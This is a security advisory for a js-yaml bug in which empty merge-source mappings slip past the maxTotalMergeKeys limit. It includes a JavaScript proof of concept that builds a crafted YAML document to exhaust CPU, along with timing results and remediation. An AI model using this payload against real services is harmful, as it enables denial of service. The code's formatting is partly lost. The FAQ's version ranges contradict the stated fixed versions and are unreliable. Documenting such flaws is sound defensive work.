CVE-2026-84375: js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N K) work while totalMergeKeys remains unchanged.
PoC
js import { performance } from 'node:perfhooks' import { load, YAML11SCHEMA } from 'js-yaml'
const n = 20000
const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11SCHEMA })
console.log(${(performance.now() - started).toFixed(1)} ms)
Observed results:
| N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Other sources
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2 and 4.3.2, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key <<. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. This issue is fixed in versions 3.15.2 and 4.3.2.
— NVD
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2, 4.3.2, and 5.4.1, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key <<. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. In v3 & v4, merge is enabled by default so the severity score is higher. This issue is fixed in versions 3.15.2, 4.3.2, and 5.4.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/js-yamlto a version that resolves this vulnerability.Fixed in 3.15.2 - Upgrade
Upgrade
npm/js-yamlto a version that resolves this vulnerability.Fixed in 4.3.2 - Upgrade
Upgrade
js-yamlto a version that resolves this vulnerability.Fixed in 3.15.2 - Upgrade
Upgrade
js-yamlto a version that resolves this vulnerability.Fixed in 4.3.2 - Upgrade
Upgrade
js-yamlto a version that resolves this vulnerability.Fixed in 5.4.1
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Applications using js-yaml versions 3.0.0 through 3.15.2 or version 4.3.2 that parse attacker-controlled YAML are exposed. Merge-key processing is enabled by default on the affected release lines.
What does an attacker need to exploit this?
An attacker needs only to supply a crafted YAML document for parsing; no authentication or user interaction is required. The document uses aliases of a large sequence of empty mappings across many merge targets to drive prolonged CPU consumption.
Does configuring maxTotalMergeKeys prevent exploitation?
No. On affected versions, empty mapping sources are not counted while processing the << merge key, so totalMergeKeys can remain unchanged and the configured limit is not reached.
What should be done if updating cannot happen immediately?
The provided information identifies no complete configuration workaround. Reduce or eliminate parsing of untrusted YAML where possible, since the vulnerable merge processing is enabled by default.
How can I determine whether the issue is fixed?
Use a js-yaml version containing the fix: 3.15.2 or 4.3.2. Versions in the stated affected ranges should be treated as vulnerable when they parse untrusted YAML.